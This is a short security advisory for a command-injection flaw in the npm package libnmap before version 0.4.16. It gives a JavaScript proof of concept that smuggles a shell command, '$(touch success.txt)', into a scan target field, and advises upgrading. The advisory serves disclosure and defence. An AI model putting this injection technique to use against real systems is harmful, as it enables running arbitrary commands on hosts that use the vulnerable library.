GHSA-7g2w-6r25-2j7pMedium

Command Injection in libnmap

Published
November 1, 2018
Last Modified
September 7, 2023

🔗 CVE IDs covered (1)

📋 Description

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

🎯 Affected products1

  • npm/libnmap:< 0.4.16

🔗 References (5)